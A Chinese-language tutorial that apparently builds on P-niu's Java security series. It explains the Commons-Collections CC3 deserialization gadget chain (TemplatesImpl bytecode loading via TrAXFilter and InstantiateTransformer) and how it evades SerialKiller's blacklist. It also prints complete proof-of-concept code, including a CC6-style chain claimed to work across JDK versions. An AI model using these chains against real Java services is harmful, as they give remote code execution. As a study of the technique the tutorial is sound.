之前我们已经构造了一个通用版本的CC6利用链,为什么还需要一个CC3利用链呢?
为什么要有CC3利用链?
2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin
your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安
全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。
SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的
类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单:
这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。有攻就有
防,ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3,代码如下:
CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。
CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个
类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。
ClassLoader
目前看这些代码还有一些懵,因为缺少了一些必要的知识,下面来简单了解一下。
ClassLoader,类如其名,这是一个类加载器,用来明确如何加载一个类。
众所周知,JAVA源代码的后缀是以.java结尾的,而编译完之后是以.class为结尾的,这个.class文件就是编译后的字节码文件,每一个类都会被编译成一个class文件。而加载器定义了如何加载这些类:
public static void URLLoader() throws Exception {
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class cls = loader.loadClass("Hello");
Object ob = cls.newInstance();
}
以上代码是一个通过URLClassLoader加载类的Demo,通过一个URL地址去下载类文件并且加载,运行代码,可以得到如下输出:
利用ClassLoader#defineClass直接加载字节码
上一节中我们认识到了如何利用URLClassLoader加载远程class文件,也就是字节码。其实,不管是加
载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
其中:
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机
制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在
本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类。
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。
我们可以编写一个简单的代码,来演示如何让系统的 defineClass 来直接加载字节码:
public static void defineClass() throws Exception {
byte[] code = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class Hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
Hello.newInstance();
}
这个Class文件和上面通过URLClassLoader加载的类文件是一个文件,运行这段代码,同样可以看到输入:
因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得
不使用反射的形式来调用。
在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我
们常用的一个攻击链 TemplatesImpl 的基石。
利用TemplatesImpl加载字节码
虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它(否则他
也没存在的价值了对吧),这就是 TemplatesImpl 。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类
TransletClassLoader :
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类里重写了 defineClass 方法,并且这里没有显式地声明访问权限。Java中默认情况下,如果一个
方法没有显式声明访问权限,那么默认为包访问权限。这也就意味着当前包中所有其他类对这个成员都有访问权限,但对于这个包之外的所有类,这个成员就是private。
我们从 TransletClassLoader#defineClass() 向前追溯一下调用链:
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
追到最前面两个方法 TemplatesImpl#getOutputProperties() 、
TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用。我们尝试用
newTransformer() 构造一个简单的POC:
public static void main(String[] args) throws Exception
{
byte[] fileData = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {fileData});
setFieldValue(obj, "_name", "Hello");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
其中, setFieldValue 方法用来设置私有属性,可见,这里我设置了三个属性: _bytecodes 、 _name
和 _tfactory 。
_bytecodes 是由字节码组成的数组;
_name 可以是任意字符串,只要不为null即可;
_tfactory 需要是一个 TransformerFactoryImpl 对象,因为
TemplatesImpl#defineTransletClasses() 方法里有调用到
_tfactory.getExternalExtensionsMap() ,如果是null会出错。
另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
所以,我们需要构造一个特殊的类:
public class Hello extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException{
}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler)
throws TransletException{
}
public Hello(){
super();
System.out.println("Hello java");
}
}
它继承了 AbstractTranslet 类,并在构造函数里插入Hello的输出。将其编译成字节码,即可被TemplatesImpl 执行了:
这里需要注意一下,被执行的字节码的类,是不能有包信息的,如果有包信息则会执行失败。
CC3利用链的实现
说了这么多前置知识,现在回头来看看CC3的具体实现:
首先可以看到没有了InvokerTransformer类,取而代之的是InstantiateTransformer类,这个类也是Transformer接口的子类,看一下这个类的定义:
可以看到这个类的transform方法调用了input的构造函数。
这就说明,关键点就在于TrAXFilter类的构造函数了:
可以看到TrAXFilter的构造函数需要一个Templates类的对象,然后调用了这个对象的newTransformer方法。看到这个方法有没有觉得眼熟?
没错,之前我们追溯的TransletClassLoader#defineClass()调用链第二个方法就是这个newTransformer方法。
通过调用这个方法,就可以执行任意字节码。接下来我们按照CC3的方式构造一个POC,完整代码如下:
public class cc3 {
public static void main(String[] args) throws Exception
{
byte[] fileData = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
setFieldValue(transformerChain,"iTransformers",transformers);
lazyMap.get(1);
}
public static byte[] readFileToByte(String path) throws Exception
{
FileInputStream fip = new FileInputStream(path);
BufferedInputStream bis = new BufferedInputStream(fip);
ByteArrayBuffer bab = new ByteArrayBuffer();
int readSize;
byte[] buffer = new byte[1024];
while((readSize=bis.read(buffer))!=-1)
{
bab.write(buffer,0,readSize);
}
System.out.println(bab.getRawData().length);
return bab.getRawData();
}
public static void setFieldValue(Object ob,String field,Object value) throws Exception {
Field fd = null;
try{
fd = ob.getClass().getDeclaredField(field);
fd.setAccessible(true);
}
catch (Exception e)
{
fd = ob.getClass().getField(field);
}
fd.set(ob,value);
}
}
这里利用的字节码还是跟之前的Hello类一样,运行这段代码,得到如下输出:
这段代码只是为了验证利用链的可行性,并没有加入反序列化方面的代码,看一下CC3利用链的反序列化代码如下:
可以看到,反序列化方面还是和CC1利用链是一样的代码,这种方式在JDK8U71之后就无法使用了,原因之前已经分析过了这里就不在赘述了。
构建通用的POC
不过有之前分析CC6的经验,我们可以用CC6的方法自己改造一个通用的POC,代码如下:
public static void main(String[] args) throws Exception
{
byte[] fileData = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add(entry);
lazyMap.remove("foo");
setFieldValue(transformerChain,"iTransformers",transformers);
ByteOutputStream bout = new ByteOutputStream();
ObjectOutputStream obo = new ObjectOutputStream(bout);
obo.writeObject(map);
ByteInputStream bip = new ByteInputStream(bout.getBytes(),bout.size());
ObjectInputStream ois = new ObjectInputStream(bip);
ois.readObject();
}
运行代码得到如下输出:
总结
该篇文章主要参考P牛Java安全漫谈。
CC3利用链重点在于理解TemplatesImpl通过ClassLoader加载字节码,理解了这一点其他的和之前的链差不多。